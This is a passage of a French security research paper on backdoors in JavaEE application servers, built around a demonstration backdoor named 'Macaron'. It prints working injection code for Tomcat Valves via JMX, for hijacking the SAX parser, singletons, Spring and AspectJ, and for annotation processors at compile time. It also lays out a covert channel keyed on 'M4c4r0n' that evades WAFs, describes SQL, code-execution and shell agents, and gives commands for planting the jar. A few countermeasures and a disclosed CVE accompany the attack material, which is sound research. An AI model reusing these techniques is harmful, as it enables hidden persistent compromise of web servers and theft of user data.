ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

